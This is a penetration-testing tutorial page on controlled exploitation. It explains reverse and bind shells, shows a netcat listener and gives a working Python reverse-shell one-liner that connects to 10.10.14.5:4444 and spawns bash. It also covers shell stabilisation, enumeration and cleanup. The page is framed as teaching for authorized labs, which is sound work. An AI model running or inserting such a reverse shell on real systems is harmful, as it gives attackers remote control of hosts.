Skip to content

Controlled Exploitation & Post-Exploitation

In ethical penetration testing and security research, exploitation is executed strictly as a controlled proof of concept to demonstrate impact, assess organizational risk, and validate defensive controls. It is never destructive.


flowchart TD
subgraph Reverse["Reverse Shell (Target Connects Outbound)"]
Attacker1["Tester Listener (nc -lvnp 4444)"] <-- Outbound["Outbound TCP (Bypasses Inbound Firewall)"] --- Victim1["Vulnerable Host"]
end
subgraph Bind["Bind Shell (Target Listens Inbound)"]
Attacker2["Tester Client (nc victim 4444)"] --- Inbound["Inbound TCP (Blocked by Inbound Firewall)"] --> Victim2["Vulnerable Host Port 4444"]
end
  • Reverse Shell: The target host initiates an outbound TCP/UDP connection back to the tester’s workstation. This is commonly preferred because egress firewall rules frequently permit outbound connections on ports such as 80, 443, or 53.
  • Bind Shell: The target host binds a shell listener directly to a local port. If network firewalls or NAT boundaries protect the target, external connections will fail.

To catch an outbound reverse shell on your testing system:

Terminal window
# -l: Listen mode
# -v: Verbose output
# -n: Numeric IP only (suppresses slow DNS resolution)
# -p: Local port to bind
nc -lvnp 4444

Python Interactive Reverse Shell (Authorized Labs)

Section titled “Python Interactive Reverse Shell (Authorized Labs)”

When command injection is verified on a Linux target in an authorized laboratory:

Terminal window
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

Stabilizing a Dumb Shell into Full Interactive TTY

Section titled “Stabilizing a Dumb Shell into Full Interactive TTY”

Default Netcat reverse shells lack job control, line-editing, tab completion, and signal handling. Hitting Ctrl+C inside an un-upgraded shell terminates the Netcat process and destroys the connection.

  1. Inside the active Netcat reverse shell, spawn a Python pseudo-terminal:
    Terminal window
    python3 -c 'import pty; pty.spawn("/bin/bash")'
  2. Background the Netcat process:
    Terminal window
    Ctrl + Z
  3. On your local workstation terminal, configure raw keyboard input and disable local echo:
    Terminal window
    stty raw -echo; fg
  4. Reset and configure environment variables in the newly restored shell:
    Terminal window
    reset
    export TERM=xterm-256color
    export SHELL=/bin/bash
  5. Match the remote terminal window dimensions to your local display:
    Terminal window
    # On local terminal: check dimensions with 'stty size' (e.g., 38 120)
    # Inside remote reverse shell:
    stty rows 38 cols 120

After establishing an interactive session, gather telemetry to document risk without disturbing host stability:

Terminal window
# 1. User context, group memberships, and capabilities
whoami && id
# 2. Kernel version and OS architecture
uname -a && cat /etc/os-release
# 3. Active network interfaces and routing table
ip a && ip route
# 4. Internal listening sockets (look for 127.0.0.1 services)
ss -tulpn

When vulnerability validation is complete, follow strict operational hygiene:

  1. Terminate Spawned Processes: Kill backgrounded shells and listeners (kill -9 <PID>).
  2. Remove Artifacts: Delete all dropped test scripts, compiled binaries, and temporary files from /tmp or /dev/shm.
  3. Restore Modified Configs: If configuration files were modified for demonstration purposes, restore them to their baseline states.
  4. Encrypt Documentation: Encrypt screenshots and evidence logs with AES-256 or GPG prior to transmission.